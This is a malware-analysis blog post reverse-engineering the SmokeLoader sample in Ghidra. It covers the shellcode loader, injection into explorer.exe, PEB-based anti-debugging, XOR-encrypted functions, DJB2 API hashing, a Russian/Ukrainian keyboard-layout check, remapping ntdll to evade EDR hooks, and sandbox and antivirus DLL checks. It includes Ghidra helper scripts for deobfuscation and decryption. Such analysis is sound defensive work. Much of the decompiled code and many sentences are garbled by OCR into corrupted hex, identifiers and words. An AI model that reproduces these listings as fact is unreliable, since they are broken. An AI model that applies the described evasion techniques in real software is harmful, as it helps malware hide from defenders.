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In this blog we will be discussing about Understanding Internals of SmokelLoader using Ghidra

Analysis

For readers who want to Follow along can get the sample from MalwareBazaar .The sample was first
Seen on September 5th 2023 14:12:29 UTC . The sample is 32bit Exe File You can use the tool of
your Choice i will be using Ghidra in this blog. The Sample Consists of 3 Stages. In the next sections

we will look at each Stages in Detail

Stage 1

The Primary Job of Stage 1 is to Write a new Image to Memory which is the Second Stage

Shellcode Allocation and Calling

The Stage 1 Allocates a Executable Memory in Virtual address space using VirtualAlloc. Writes
Shellcode to thls address space whose job is to Load the new Image in to Memory

It CaIIs the Shellcode from Address 40404a If you want to Dump this Shellcode and Understand What
it is doing you Can put a Breakpoint on this Location . Stepin to this Call and dump this portion or

00403c2e rov , " e =37
Q0403c30 PUSH ECK 38
00403c31  AND dword prr [E8F + loca 39
00403e35 ADD dword pre [ - c a0
o0d03c3c MoV £i¢,dword prr [EEF + Lo a1
00403c3f ADD dword ptr [shellcode],EA 42
00403c4s LEAVE 43
00403c46  RET 42
45

"""""""""""""""""""""""""""""""" 4€

. , 47
"""""""""""""""""""""""""""""""" 48

undefined alloc_shellocde () 49

assume FS_OFFSET = Ox££4££000 50

undefined AL:L <RETURN> 51
CAPA_ANALYZER: Scope - FUNCTION: read file on Windows 52

CAPA_ANALYZER: Scope - FUNCTION: execute shellcode via indire... 53

alloc_shellocds XREF[1]:  main:0040400f (c) 5

oud03caT MoV £A%, LAB_00425d5¢ 55
o0403cdc CALL FUN_00425578 sé
00403e51 SUB ESP, 0xdl8 57
00403c57 Fusa B se
s0d03css PUSH 55
00403c59  XOR 1 &0
o0do3csE P prr [size3ébd], Oxlca o
00403c65 PUSH EDT €2
00403066 mz LAB_00403d87 &3
o0d03cEe UsH EST int cchDest for Folds 6
00403céd PUSH LPSTR lpDestStr for Fi €5
Q0403cés susH E int cchSzc for Foldst 66
00403c6E usH £ LECSTR LlpSzcStr for Fi &7
00403c70 PUSH ESI DWORD dwMapFlags for €8
Q0403c7L CcALL dword prr [->KERNEL32.DLL::FoldStringAl &9
0040377 usH £ UINT flags for Chengel 70
00403c78 PUSH E UINT cpdInsert for Chi 7
00403e79 PUSH s_ximirohisaxikavibasuwesuc_00402£7c LECSTR lpsaiewiten fo 72
— G- 2 73

FoIIow itin Debugger to Understand What it's doing

LEDWORD lpBytesRead £,”

i 0040401% PUSH
|| ooso0s0z0 BUSH EDI DWORD nBufferSiz
|| oososozr PUSH EDI
1| ooscsoaz PUSH
1| oossaeas caL £8 RNEL32.DLL: : PeekNaredPipe
| oososcas cup s5d
r1-| oodndozn JLE LAB_00404037
1| oodo0402e =03 dword ptr [ESF + local_450],0x785074dS
rt4-| oosososs anz LAB_00404040
[
[ LAB_00404037 HREF[1]: 0040402 ()
©o | o0404a0zT me E
: ; 00404038 =3 ESI,0x11815
: L 0040403e JL LAB_ 00404016
L_-» LAB_00404040 RREF[1] 00404035 (3)
00404080 Mov EAX, [shellcode]
00404045 MoV [DAT_023fa368],Eax
2040404a caLL EA
0040404c MoV sdword ptr [E + 0xd4c]
00404053 oF EDI
00404054 PoP EST
00404055 HoR ax,
00404057 MoV dword per £5: [0x0]=>ExceptionList, £
0040405e zoP EB
0040405% MOV
Q0404061 oF
0404062 RET
undefined AL:1 RETURI>
undefineds Stack(0xd]:4 param 1 XREF (3] 004,

i

¥ {undefined *)(
*{undefinedd *
FUN_00404323(
¥ {undefinedd *)(
FUN_00404323¢
FUN_00404376¢
FUN_004043b3() ;

FUN_00404313() ;

*(undefinedd *) (unaff EBP
FUN_00404080¢) ;

+-1) =1z

/* CAPA_ANALYZER: S

(size3ébd != 0) {

do {

* {undefined *){(int)
ir

(bvars) {

AreFileApishNSI();

if (size3ébd + iV 1t
GetShortPathiamel ("eveyowet”
CharUpperBuf £A({ (LBSTR) (w
InterlockedDecrement ( (LOK
#{undefinedd ¥) (us
* {undefinedd *) (

14) = 0;

- FUNCTION:

ar3) = 4 (undefined

Vi

execure shellcode via indirect call

allocate RWX memory */

llocate RWX memory */

*) {address_03FFE2S + 0x1134b + u

+ -02524),0)7

2y exceptionLisc = & -
21 do {

22 GetTickCount{();

23 PeekNamedPipe ( (HANDLE)0x0, {LPVOID) 0x0, 0, (LPDWORD) 0x0, (LPDWORD) 00, (LPDWORD) 0x0) ;
24 al_450 t= 0% i5)) break;

25|

26|

27

28 FUN_ au-m-)au:m

29| _c=0

30 _calloc{o,0):

31 _fseek((FILE *)0x0,0,0);

32 FUN_004068£2(0)

33 _puts{(char *)0x0);
34 FUN_00404a32(loca
35| FUN_00404a6e (1

37 FUN_00404a2a(
38}
39 else if (size3ébd < Ox86) |

40 GetPrivateObjectSecurity( (PSECURITY_DESCRIPTOR) 0x0,0, loca

42|
43|

44 alloc_shellocde ()7

48 ivarl = 0

48 do |

47 SetEndOfFile{ (HANDLE)C

48| PeekNamedPipe ( (HANDLE

a8 1 al
50|

51| ] while (iV:

52| 23f

53 (rshellcode) {

54| -

55|

séf}

, (LBVOID) 0x0, 0, {LPDWORD) 0x0, (LPDWORD) 00, (LPDWORD) 0X0)
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Loading New Image to Memory

The Shellcode first Dynamically Resolves API Call.
this

It uses StackStrings and GetProcAddress to do

Seeﬂ'.hSJm;es:a‘nksnrlnasvpy: ker“:‘\elﬁZYdll = 90 ;lbteck ; = Ai‘l:a:ll;l:l (sustack_94) ;
an a1 = 0x74726556;
SearchSimpleStackStrings.py: kernel32.dll -I 92 = (undefined *)0x416c6175;
v 00000062 MOV dword ptr [EBF + Oxffff££70],0xée7265¢b = 93 x€36Lécec;
00000074 MOV dword ptr [EBP + Oxffffff74],0x32336c65 el (undefined *)0x0:
0000007 MOV dword ptr [EEP + OXffffff78],0xécécEdze 85 | W = (VirtualAlloc *) (*getproc) (uStack_d40,suStack_94);
00000088 AND dword ptr [EBP + Oxffffffic],0x0 96 | usta 747269561
0000008€ LEA ERX, [EBP + OXIILILL70] 97 Pust, (undefined *)0xS06CELTS;
oopoo0ss  usE £ o P
Q0000096 CALL dword ptr [EBE + -Ox2c) 99 ac
00000099 MOV dword ptr [EBP + -0x3c],EAX 100 = (VirtualProtect *) (*getproc) (uStack_40,suStack_94);
{ Virtuaiau 101 x147268561
SearchSimpleStackStrings.py: VirtualAlloc 102 {undefined *)0x466c6175:
SearchSimpleStackStrings.py: VirtualAlloc 103 KESE572;
v conooose MoV dword ptr [EEP + OxEELEE70],0x74726956 104 = {code #) {igetproc) {uStack 40, suStack_Sd);
00000026 MoV dword ptr [EEP + OxfIffff74],0x4l€cElTs 108 wust. = OxS56746547;
000000b0 MoV dword ptr [EBP + Oxffffff78],0xé36f6céc 10§ = (undefined ¥)0x€9737265;
000000ba AND dword ptr [EBEP + Ox££££££7c], 0x0 107| = 0x78456e6f;
000000cl LEA EAX, [EBP + Oxf£££££70] 108 = {undefined *)oxdl;
000000c7 PUSH ERX 109 (*getproc) (uStack_40, &uStack_9%4) 7
000000c8 FUSH dword ptr [EEF + -0x3c] 110 = 0x6d726554;
-+ J00000ch CALL dword ptr [EEF + -0x68] 111 pus’ = (undefined *)0x74€16e69;
000000ce MoV dword ptr [EBP + -Oxdc], EAX 112 uSt. x6£725065;
SearchSimpleStackStrings.py: VirtualProtect 113 pus = (undefined *)0x73736563;
SearchSimpleStackStrings.py: VirtualProtect 114 ustac 0
SearchSimpleStackStrings.py: VirtualProtect 115 Termi ess = (*getproc) (uStack_40, &uStack_94);
l’ 000000d1 MoV dword pur [EEP + Oxffffff70],0x74726956 116 ust. X74€97845;
oooo00ds  mov avord pre [52 + ONEEEEEE7A], OXSOESELTS 17 pus - (undefined ) 0x€36£7250,
000000e5 MoV dword ptr [EBP + Oxff££££78],0x€5746£72 118 X737365;
000000ef MOV dword ptr [EBP + Oxfff££££7c], DAT_00007463 LI OE: {undefined *)0x07
000000£8 LEA EAX, [EBP + OXLLLE££70] =120 = (¥*getproc) (uStack_40,sustack_94)7
000000££ PUSH ERX 121 x45746553;7
00000100 PUSH dword ptr [EEF + -0x3c] 122 (undefined *)0x726£7272;
00000103 CALL dword ptr [EBP + -0x68] 123 x65646£4d:
00000106 MoV dword ptr [EEP + -0x28)],ERX (undefined *)o0x0;
SearchSimpleStackStrings.py: VirtualFree ~ *g
< > v
Using the Dynamically Resolved API Calls it Loads th mory by Parsing PE
. . e . .
Headers. If you have a good Understaing of PE File Formats and it’s offsets the below image will
make Sense to you
| probshellecode = L]
[ (IMAGE_DOS_HERDER *) (*WritualAlloc) { (LBVOID) 0x0, *{SIZE_T *) {pbStack_ac + €),0x1000,4);
I uStack 28 = Q;
if (pbStack ac[l] == 0) |
| for (uStack_bc = 0; uStack _bc < ¥{uint ¥*) (pbStack_ac + 2); uitack_bc = uStack_bc + 1) |
i *{byte *) ({{int)probshellcode->e_res + (uStack_bc - 0xlc)) = pbStack_ac[uStack_bc + Ox3a]l;
! }
il
i else [
| FUN_00000aé6%(pbStack _ac + Ox3a,*(undefinedd *) (pbStack ac + 2),probshellcode,&uStack 28,0);
(.
I WStack_l0 = (*vrtualprotect) (imagebase, ¥ (SIZE_T *) (pbStack_ac + 10),0x40,&D5tack_24);
I pvStack_9Sc = imagebase;
memcpy (imagebase, 0, ¥ (undefined4 *) (pbStack ac + 10)):
| pIStack_3c = probshellcode;
I iStack_20 = ([int)probshellcode=->&_rea + probshellcode->»e_ lfanew + =-0x18;
iStack_€4 = probshellcode-»e_lfanew + 0xl18 + (uint)*{ushort *) (iStack_20 + 0xl0):
i iStack_74 = (int)probkshellcode->e_res + iStack_64 + -0Oxlc;
i i5tack 38 = iStack T4;
| FUM_00000ce?(pvitack_Sc,probshellcode, * (undefinedd4 *) (iStack 74 + O0xl4));:
I pIStack_3c = (IMAGE_DO5_HEADER *)pvStack_%Sc;
f iStack_20 = {int)pvStack_%c + *{int *) ({int)pvStack_%c + O0x3c) + 4;
| J.SLI:.L'}.'_?‘] = {int)p '-.'SL:.L‘].‘_E‘L‘ + J.SL:.\.‘].‘_C4 H
poc3tack_T0 = {code *) (*(int *) (ph3tvack_ac + Oxe) + (int)pvStack_%Sc);
| *ppcStack_98 = pcStack_70;
| iStack_bO = %{int *) (iStack_74 + 0x14):
iScack_38 = iStack_74:
i iS5tack_ 8 = iStack_T4;
| Eor [(uStack cO = 0y iVard = iStack 2, uStack cO != ¥phStack ac} uStack c0 = uStack c0 + 1) {
| FON_00000ceT {{int)pvStack Sc + *({int *) (iScack & + Oxc),
1 (int)probshellcode-»e_rea + *({int *) (iStack_3& + 0xl4) + -Oxlc,
[ ¥ [undefinedd *) (iStack 8 + 0x10)):
I iStack_b0 = iStack b0 + *(int *) (iVars + 0xl0);
| iStack_& = iStack_& + Ox28&;
I
| {*VirtualFree) {probshellcode, 0, 0x8000) 7
exportTable = (int)pvStack_%c + *(int *?{{int?pISthck 3c + 0x3c) + O0x7&;
- - . r P e anw o Do L¥)
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Some PE File Format offsets i want you take a note is 0x3c and 0x78 . Offset 0x3c is aslo called as
e_lIfanew it is the File address of new exe header .e_Ifanew™ + 0x78 gives us the ExportDirectory
Virtual Address

After this Shellcode is Comletely executed the New Image will be Loaded in the Memory. You can
dump the Second stage from memory Now

Stage 2

Stage 2 is Very Obfuscated Stage with Multiple Anti-Analysis Techniques to Frustrate the Malware
Analyst working on it. It Includes Anti-Vm Checks, Encrypted Function code only Decrypted prior to
it's execution, APl Hashing etc&mldr; The Final Goal of this Stage is to Inject the Third Stage to
explorer.exe

Weird Conditional Jumps

This Stage Contains Weird Conditional Jumps as Show in the below image . They are JNZ and JZ
jumps with same Destination Address. This is Infact an Unconditional Jump. The Malware is using
this technique make it hard for the Disassembler and Decompiler

S e m——— e = ———

FUN_00403251 KR
00403251 JNZ LB 00403258+1
00403253 JZ LRE 0040325841
00403255 FOFP DS
00403256 SUB AL,0x36
LAR 00403258+1 ¥R
00403252 IMUL EB¥,dwozd ptr [EBX + -0xl5],0xa
0040325¢ ADD byte ptr [this + 0x325leb],Al
00403262 ADD BL,this
00403264 ADD ERX, OxfSebl2
004032659 ADD DH,byte ptr [EDI + ERXY0xl + 0x75]
0040326d ADD ERY, OxeaaZcife
00403272 PUSH S
Q0403273 PUSH Qx30
00403275 JHZ LARB 0040327943
00403277 JZ LAB 4032759+3
LAB 0040327943 ¥R
004032745 ADC Enx,0xl48bB00L0
0040327 AND AL, 0xE3
00403280 LE3S EA¥, [EBX + EBP*OxE]
00403283 PUSH ES
00403284 INT3
LaB 00403285 XE
00403285 SUB ER¥,ER¥
00403287 JHMP LRE 0040328e
ao40328%9 STOSB ES:EDI
0040328a JMP LEB 00403285
0040325c align align{l)
ao40328d ?27? ARh
LAB_0040328e KR
a040328e JMP LAB 00403285
00403250 SHL AL, 0x50
00403293 MOV H, 0x74
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We can Fix this Easily by finding all the Places with this weird Conditional Jumps and patching it with
unconditional Jump.

def handleDoubleConditionalJumps():
address_array = findBytes(currentProgram.getMinAddress(), b'\x75.\x74.",
1000)
address_array += findBytes(currentProgram.getMinAddress(), b'\x74.\x75.',
1000)
for addr in address_array:
jmp_bytes = getBytes(addr, 4)
if jmp_bytes[1] - jmp_bytes[3] == 2:
clearListing(addr)
dis.disassemble(addr, None)
patch_instruction = bytearray()
patch_instruction.append(0xeb)
patch_instruction.append(jmp_bytes[1])
patch_instruction.append(0x90)
patch_instruction.append(0x90)
patch_instruction2 = bytes(patch_instruction)
clearListing(addr)
clearListing(addr.add(2))
clearListing(addr.add(3))
block = mem.getBlock(addr)
block.putBytes(addr,patch_instruction2 )
dis.disassemble(addr, None)
jmp_instr = getInstructionAt(addr)
new_jmp = jmp_instr.getDefaultFlows()[0]
new_jmp2 = new_jmp
for i in range(50):
clearListing(new_jmp2)
new_jmp2 = new_jmp2.add(1)
if new_jmp2.getAddress == currentProgram.getMaxAddress():
break
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The Above Python Code does this using Ghidra API After we run this Script all the Weird Conditonal
Jumps will be patched to Unconditional jumps and Disasseblers and Decompilera will give us a Better
Output. The Below images Shows us the Sample after Execution of th Script
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10403255
0040325a
0040325¢c

00403254

00403263

00403265

00403266

00403268

00403251 JMP

00403253 NOFP

00403254 NOP

00403255 BOP

00403256 SUB

00403258 27
undefined4
_PEB32 *
_PEB

undefined4

ADD

thunk_FUN_00403259

FUN_0040325%

AL,0x36

&Bh k

i ok ok o o ok ok ok o ok ok ok ok o o o ol ke ok ok o o o o o ok ok ok o o o ok ok ok ke ok
' FUNCTION
KAk hE RN NN R R R RN NNk ke ok hhh Nk kb hh b ok koo ok ok ok ok

undefinedd4  cdecl FUN 00403255 (void)

ER¥:4 <RETURN:
ERX:4 ivVara
AL:1 ivarl
Stack([Ox0]:4 local resl
FUN_00403259

EBX

LRE 00403266

00k

LRBE 00403254
B 0x3251
LAB 00403264
02h

LAB 00403266
LREB 00403254
LAE 00403263+1

byte ptr [EDX],AL

Control Flow Obfuscation

This stage’s Control Flow is Obfuscated with the use of Anti-Debugging Checks

In the Below Image malware uses PEB’s BeingDebugged Field (Offset 0x2) to Check if Process is
Being Debugged. If it's not being Debugged the Offset will contain 0, which is used to Calculate the
address where the Control flow is Transfered. If the process is being Debugged the Offset will Contain
1 and will lead to Exception
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| PEB32 * _ cdecl FUN_00403258(void)

_PEB iVarl;
_PEB32 *i
int ur FSET?

int ur H

iVar2 = ¥ PEB32 **) [unaff F5 OFFSET + 0x30);:
if ("%x05' < (char)iVarz->05MajorVersion) |

iVar2d = (_PEB32 *) ({iVarZ->BeingDebugged + 1) * 03201 + unaff retaddr + -0x3251);
1

return iVard;

mon s W = O

An other Anti-Deugging Technique it uses is the NtGlobalFlag Field( offset 0x68) in the PEB to Check
if it's Being Debugged. If it's not being Debugged the Offset will contain 0, which is used to Calculate
the address where the Control flow is Transfered. If the process is being Debugged the Offset will
Contain 0x70 and will lead to Exception

woid mw anti debug usingWtGlokalFlag (void)

PEB32 *unaff ESI;

Y WAEBNING: Could not recover jumptakle at 0x00403240. Too many branchea v/
SY¥ WARNING: Treating indirect jump as call *f

{*{code *) {(*(byte *)jeunaff ESI->NtGlobalFlag + 1) * 0x3185 + unaff EBX)) ();

EETULn;

I =]

Encrypted Function Code

One of the most distinctive feature about SmokelLoader is that most of the Function code are in the

Encrypted form. They will only be Decrypted just before execution of that code. And will be re-
encrypted after that code has been executed

[ - — e o - -
0040129 22 0éh - il
0040128£ 22 &h  c =p||2 [/* WARNING: Contrel flow encountersd bad instruction data */
00401220 22 oTh Egl s
4 foid _fastcall thunk FUN_004012al(int param_1)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA s
FUNCTION 6|0
‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘ 7| char spevarl;
[ undefined FUN_004012al() 8| inc
undefined AL:l <RETURN> 9| char
FUN_004012a1 XREF[1]: thunk_FUN_004 10 byte
thunk_FUN_004 11 byte
00401221 PUSH oxle B 12 undefineds retaddr;
004012a3 POF EL3 13
00401224 e LAB_0040122b 14 pivarz = {int *)decrption_funcrion(param 1, (char *)0xlc,unaff retaddr);
00401226 22 Féh 15| if ((char) (*unaff _EST - *unaff _EDT) < "\0") {
00401287 22 Foh 1§ /% WARNING: Bad instruction - Truncating control Elow here %/
17 halt_baddata():
16

ar *) ({int)pivar2 + (uint) (*unaff EST < *unaff EDI) + *piVar2 + -0X15);

20) rl + unaff BL:
- thunk undefined thunk_FUN_0040 21 /* WARNING: Bad instruction - Truncating control £low here A/
Thunked-Function: FUN_004012al 22| halt_baddata():
undefined AL:1 <RETURN> 23}
chunk_FUN_004012a1 XREF[1]: 0040128b (3) 24
00401228 P FUN_004012al
00401228 22 ELY
» LAB_004012ab XREF[1]: 004012a4 (3)
004012ab CALL decrption_function
00401260 CupSB ES:EDT,EST
004012b1 s LAB_00401331
0040123 aup LAB_l091aa20
004012b8 22 97h
0040128 22 €%h 1
004012ba 22 14n
004012bb 22 o5h

004012bc 22 EBh b
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The above image show an Example how the Code look like before Encryption

int _ fastcall decrption_function(int size,byte key,uint offset)

{
byte *pbVarl;

byte *phVarl:
pbvarl = (byce ¥) (offaet + 0x400000);
phVar2 = (byte *) (offaet + 0x400000
I de [
offset = offset & OxELEEEF00 | (uint) (*pkVarl * key):
*pbVar2 = *pbVarl ~ key;

silze = ajze + =1;
pbVarl = pbVarl + 1;
i pbVar2 = phVar2 + 1;
i } while (aize !'= 0);

return offsec;

The decryption_function in the above image is the function which decrypts the Code. It is a normal
XOR Decrption. The Function takes three parameters.

1. Size of the code to be decrypted

2. XOR Key used
3. RVA of the Starting of the Code that need to be decrypted. You can use the below function to
Decrypt one function at a time
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def decryptShellcode(size, xor_key,
rva):
va rva + 0x400000
va hex(va)[2:]
addr = toAddr(va)
addr2 = addr
enc = get_bytes(toAddr(va),
size)
for i in range(size):
clearListing(addr2)
addr2 = addr2.add(1)
size2 = size
for i in range(0,size):
enc[i] = enc[i]~xor_key

for i in enc:
i =1 & OXFF
setByte(addr, i)
addr = addr.add(1)
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The Below Image Shows the same code after Decryption. The last call to 40131a is wrapper for

decryption_function, which will cause the code to be re-enc

rypted

* 0040125a 15h ﬁ-— =
[5||2 [void payload decryprion(undefined param 1,uint param 2)
- LAB_004012%% ¥REF[1]: 00401284 (3) =-: : A
o040128n e LAB_004012a8 B
00401254 sTos8 £S:EDI ||
0040129¢ PUSH m¢
0040129¢ ARPL word ptr [EDI],A I | | ;
LAB_004012al XREF[1]: 00401288 (3) B -
004012al PUSH Toxic [l
O ror - 2|11 hecrprion_rancriony p0) 7
00401224 e LRB_004012ab g[8 vvesd = param 2 >>
00401226 01V L ij -
LAB_004012a8 XREF[1]: 0040128b(3) 19 L
00401288 e LAB_004012al 14 ;
004012aa 3sh i; o OwTAESEREs:
- LAB_004012ab KREF[1]: 00401224 (3) 19
004012ab CALL decrption_function 20 i
004012b0 MoV EDX, 0xT4£56265 dlL ]} while (uVard != 0)7
004012b5 MoV FCX,dword ptr [EBP + Oxc] 22 IDT&‘);’;;*;;_ P:fa’“;z*‘:b;;e"; = uvars o
004012b8 MOV EST,dword pty [EBP + 0x8] 4 o (‘;m':'”(un:)
e et
decrypt from location 405833 aize : 2f8e 29 1
004012be SER ECX, 0x2 2; 00801316 (0xeb, Dxle)
return;
s LAB_004012¢1 KREF[1]: 00401265 (1) 29t
i 00401201 LODSD 30
i 004012c2 XOR
! 004012c4 sT05D ES:EDI
L 004012¢8 Looe LAB_004012¢l
004012¢7 253 X
00401208 D ECX, 0x3
004012ch Jz LAB_004012d3 -

APl Hashing

The Hashing Algorithm used in 2nd Stage is DJB2 hasing Algorithm. In the below image you can see
the decompiled code for this. If you are having trouble Understanding this Code i would ask you to
read this blog . It Explains in Detail about APl Resolving
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undefined4 _ fastcall api_hashing djbZ{int param_l,undefined4 param 2,undefined4 param_3)

byte EVarl;

int export tabkle;
undefinedd uVara;
int iVar3;

int iVard;

int unaff EBP;

byte *pbVars;

decrption_ function(param_ 1, (byte)param 2,param 3);
Y{undefined4 *) (unaff EBP + -4) = 0Or
eﬁtfrtltabl? = *¥{int *) (*{int *) {unaff EBP + &) + *{int *)(*{int *) {unaff EBP + &) + 0Ox3c) + O0x7TE)
+ *{int ¥} {unaff EBF + 8);
iVarid = % ({int *) (export_table + 0x13) + -1;
do |
iVard = QOx1505;
phVars = (byte *) (¥ (int *) (*({int *) (export_table + 0x20) + *(int *) (unaff EBP + 8) + iVar3 * 4)
+ *(int *) {unaff EBF + 8));
do |
bVarl = *phWarS:
iVard = iVard ¥ 0x2l + (uint)bVarl;
pEVars = phbVars + 1;
} while (bVarl !'= 0);
if (*{int *) (unatff EBF + (Oxc) == iVar4) goto LAB 00402aad;

iVar3d = iVar3 + -1;

} while (iVar3 != 0}z
iVard = 03
LAB_00402Zaad:
if [ivard !m Q) {

¥{int ¥) {unaff FERF + -4) =
¥{int ¥*) (¥ {int ¥) (export_takle 4+ 0Oxlc) + ¥ ({int *) (unaff EBPF + 8} +
{uint) ¥ {ushort *)
{*{int *) (export_table + 0x24) + *({int *) (unaff EBP + 8) + iVar3 % 2) * 4) +
*{int *) {unaff EBF + E8);

You can use the below python function to find the values of hashes of the API’s you need.

def api_hashing():
api_list = []
hasher = 0x1505
hash2 = 0
for a in api_list:
hasher = 0x1505
hash2 = 0
for i in a:
i = ord(1)
hash2 = hasher

hasher = hasher << 5

hasher = hasher & OXFFFFFFFF
hasher = hasher + hash2
hasher = hasher & OXFFFFFFFF
hasher = hasher + i

hasher = hasher & OXFFFFFFFF

hash2 = hasher

hasher = hasher << 5
hasher = hasher & OXFFFFFFFF
hasher = hasher + hash2
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"+addresss)

hasher = hasher & OXFFFFFFFF

hasher2 = hex(hasher)[2:-1]
if len(hasher2)!= 8:
hasher2 = "@"+hasher2

print("API Name : "+a+" Address
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Checks KeyBoard Layout

Next the malware checks the keyboard layout of the device. If it's Russian(0x419) or Ukranian(0x422)
the malware won’t do any malicious activites. If this is not the case it continues doing it's Buisness

- - - ey - -
i an40lgad CALL dword per [EEX + 0x54] =l
! 00401£90 TEST ERX, EAX {1
00401£92 i LAB_00402018 Bl .
ooaolzss Hov = |l14 aPI_nasm ORDER ivars;
00401292 SHL X, 0x2 || b i
| =
! 00401£9d PUSH [/ 16] decrption function(
| ao401r9e BUSH 0x40 E 17| *(undefinedd *) (unaff
00401£a0 CALL dword ptr [EEX + 0x38] MM Verd = * (AP FASE OHD ) on
00401fa3 MOV dword ptr [EBP + 1B | 18 ivarl = (*iVari->GetKeyboardLayoutList) (0, (HKL *)0x0):
0040126 MoV EDT,dword prr [EET 4+ -Oxc] =] . .
| 004012a8 BUSH =] Vil e 2y:
! 00401faa PUSH == (Los
i 00401£ab CALL dword per [EEX + 0x54] = N Cen s
! 00401fae 1EST EAx, EA) 24| Vari->GetKeyboardLayoutList) (ivarl, lpList)s
- 00401£50 b LRB_00402018 -
| 00401£b2 ADD EST,EST 26
00401204 MoV -
00401£bé MOV Ukranian o -
00401£kk SCASW.RE., F ol
1 a04012ke 7z LAB_00401£d6 =
o 00401£c0 MOV EDT,dword ptr [EBE + —Oxc] |
b 00401£c3 MoV EST 12 ( . == oxs22
I a0401fcs my E Rusaian - i = (HEL 4} ((imm)iriian 4 s
L 00401fca SCASW.RE... ES:EDI 34 } while (!bVaré);
o 00401fcd iz LAB_00401£d6 - e evess)
L a040lgcs MoV dword per [EEP + -0xd],0xl 16 psVars — #(short ¥+) (unaff EBP + -Oxc):
|
[ 37
- LAB_004015d6 XREF[2]: 004015be (31, B
| 004012de e LAB_00401fe8 e
| 00401£d8 SHL cL, 0x7d -
00401£de sus dword ptr [EEX + —0x72],E ol
i 42
- LAB_004012de XREF([1]: 00401268 () 43
; 00401£de BUSH 0x1£83 d B8P + ~4) = 1
| 00401fe3 BOP A 45
| .
w1 pnied W Lansndnaser v 49 !
< > 47| Varl = decrption_function(0x5S,0xb, 0x1£83);

Previliges Check

The Malware Check if it's running with Higher Previliges using this API Call's OpenProcessToken ->
GetTokenlInformation(TokenlIntegrityLabel) -> GetSidSubAuthority It is Checking if the Integrity level is
above 0x2000 (SECURITY_MANDATORY_MEDIUM_RID ) If the values greater than 0x2000, it is
high integrity. If the user is local admin, but a process was executed normaly, you have the medium

integrity Level. If the user clicks run as administrator you would have 0x3000.
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= =({param_2 $4-114-
Viundefinedd "V) {{inc)
Yjundsfinedd ) {{int)
"{undefinedd ") {{inc)s
Vjundefinedd ") {{int)sl

" = ("Oper 1q*
L]
i - &
L (W o
f{ine V) {(imE)ag
" {undefinedd *) ([inc)apw
Y{int Y} {{lnt) s
Vjundefinedd V) {{inc)&T

*{undefinedd ") {{inc)

i piormatlons = apl
"{undefiinedd *){{inc)a

- 8
* {PDWORED

if (*({uint *) (EREEENERS

"jundefinedd ) {{inc)

"undefinedd "Y) ((int)apW
f(undefinedd *) {(int)s
c=>GetModuleFilelane;

rd = amd
"jundefinedd V) {{int)s
(* ) {* (HMODULE ) {

* {DWORD
b (undefinedd *) ((inc)a
= FUH 004016764 *

74

{* (HANDLE ~) {{int) &g
* (TOKEN_
*{LPVOID *) {(int)apliStack_t

* -Oxd3c) < Ox2000)

Y] {{inx) aps

. # 4] = (undefinedd *)({

*® ] = 7T JUES

* ) = DELEESILLE H

-*OpenProcessToken;

] = £

Oxd40laf
(HANDLE *) {{inT=]&
(DWORD *) ((int)a
(PHANDLE *) {{int)apW

* H

] =1
¢ 4] = Yjundefinedd *){

c=»getTokenIinformation;

lbl

* 1V ff EBF + x4d50) 1

+ | = eI

x4
)
+ d),

INFORMATION CLASS *) ((imz)a
-

# iVarld),
}a* (DWORD *] {{int)apWStack_
I

iVarl
+

"1 {{int) ag

* »

{
 4) = OxlO4;
] = (undefimedd %)

* 1

+ f B -Ox244) 2

+ 1 |

.

s Oxd0lbdd;
1. "{LEWSTIR %] {{inE]apW
+ d)):
+ # 4) = Dxd0lb4%;

(LPCHSTR *) jgarackOx00000000 &

(imt)ap! + 1

If this is not the Case it will use Run As Administrator Option to get Higher privileges

API Resolving for APIs of NTDLL

The Malware Then Open’s a handle ntdll.dll with shareMode set to 0,Creates a file mapping object for
ntdll, Maps a view of this file mapping into the address space of the Malicious process and does API
resolving using the Same Hash Algorithm (djb2) in this mapped View. This is to make sure no APIs

are being hooked by EDR
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undefined4 api_hashing-For_ntdll (undefined4 param 1)

{

HANDLE pvVarl;

int ivara;

undefinedd4 uvVardp

API_HRSH ORDER *unaff EBX;

int unaff EBF;
[l
. BX-»ExpandEnvironmentStringW) (param 1, (LPCWSTR) (unaff EBF -0x20c) ) :
! K=>CreateFileW)
| { {LPCWSTR) (unaff EBFP + =-0x20c),G ~ READ,0, (LFSECURITY ATTRIBUTES)OxO,3,0x20
i , (HRNDLE) Ox0Q) 7
| if (pvVarl != (HANDLE)Ox
i iVar2 = (¥ [code *)junaff EBX

if (iVarz != a) {
1 iVarZ = (¥{code *junaff EB¥->MapWViewofFile) (iVar2, 4,0,0,0);
[ if {ivarz != 0) |
[ ivarz = apl resoving(iVarz, ¥ {undefinedd4 *) (unaff EBEF + 0Oxc)):
if (iVarz !'= 0) |
i Y(undefinedd *) {unaff EBP + -4) = 1;
i goto LAB 00402524
I

i }
i }

11

| *{undefinedd4 *) (unaff EBF + -4} = 0;
ILAB_0040259243

| uVaer: = thunk_ FUN_0040252k():

return uVari;

Anti-Sandbox, Anti-Emulator and Anti-VM Techniques

The Malware has Multiple Checks to detect if it's in @ VM or sandbox. In the below Image malware is
checking if the dlls sbidedll(Sandboxie), aswhook(Avast) and snxhk(Symantec) are mapped into
malicious process address space. These DLLs are related to Sandbox solution or Anti-Virus products,
another interesting thing to note is that the arguments are stored in the return adress of the function

004024b1 ?? FAh - | 29
M 30

* LAB 004024b2 XREF(1]: 004024eL(3) SEN

004024b2 PUSH Oxga =32

0040247 MOV ED¥, dword ptr [ESPl=>local SO |33

004024ba 1DD ESP, 0xd =l

004024bd JMP LAB_004024c4 =" 35

004024bE 22 FEh 36

004024¢0 ) EEn =EY

= 3= +e)

» LAB_004024c1 HREF[1] 00402488 (3) =] |39

004024cl aMe LAB_004024b2 | 40 pe |

004024c3 ST 41 if (iVard != 0) goto LAB_0040271e;

az| )

. LAB_004024c4 HREF[1] 0040244 (1) 43 = FUN_004025e2();

004024c4 CALL deerpion_function 44 (char *) uvar20 5> 0x20);

004024c8 MoV dword ptr [EBP + -0xd4],0xl 45 ¥

00402440 MoV 8%, dvord per [EEP + Ox8] 46

00402443 CALL my_checkforSandboxorAvastdll's 47

00402448 as "sbied1l” 48

004024e0 da "aswhook" 49

004024e8 ds "snxhk” s0 33 = *{char *)sunaff FEX->NtTerminateProcess + cVarl2;

